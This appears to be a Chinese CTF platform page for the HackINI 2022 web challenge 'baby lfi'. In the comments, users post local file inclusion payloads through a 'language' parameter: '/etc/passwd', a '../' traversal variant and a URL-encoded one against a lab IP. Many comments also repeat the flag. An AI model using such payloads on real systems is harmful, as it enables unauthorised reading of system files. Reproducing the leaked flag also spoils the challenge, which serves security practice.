baby lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一　　血: Aman
一血奖励: 0金币
解　　决: 3347
提　　示:
描　　述:
What about making things a bit harder ?
...
登录回复
评论
33555 1年前
举报

/?language=/etc/passwd shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 1
daisy2413 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
小白帽来挖个漏洞 1年前
举报

题解：https://blog.csdn.net/guanrongl/article/details/142906680

回复 3
2MASS 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
MOCHAOLIN 1年前
举报

http://82.157.146.43:18383/?language=/etc/%70%61%73%73%77%64

回复 1
userxin 1年前
举报

?language=/../../../../../../etc/passwd

回复 0
Real丶WuMing 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
1005667204 1年前
举报

use the language parameter 使用language当参数 ?language=/etc/passwd

回复 0
YOLO77w 1年前
举报

Lfi是本地文件包含 在基本的LFI攻击中，我们可以使用（../）或简单地（/）从目录中直接读取文件的内容，../../../../敲的足够多就能跳转到根目录下../../../../etc/passwd 用到文件包含php伪协议 环境下有Please Select a language of your choice : en/fr ，参数名可能是language 可以在ip+?langu

回复 3
cat1 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 1

WriteUp

image
2901600657

3 金币

立即查看

评分(4)

解题动态

是蛋蛋呀 攻破了该题 15小时前
liffer 攻破了该题 17小时前
guguji 攻破了该题 19小时前
可可萝 攻破了该题 20小时前
杰哥 攻破了该题 1天前
mtt 攻破了该题 1天前
jade.wen 攻破了该题 1天前
Spotlight 攻破了该题 1天前
初学者321 攻破了该题 1天前
AOD 攻破了该题 2天前
cunhong 攻破了该题 2天前
fml 攻破了该题 2天前
Yankee 攻破了该题 2天前
赤花满楼 攻破了该题 2天前
xingzou 攻破了该题 2天前
wujita01 攻破了该题 3天前
lx207 攻破了该题 3天前
ACYII 攻破了该题 3天前
ctflearner 攻破了该题 3天前
bigbendan 攻破了该题 4天前
问题反馈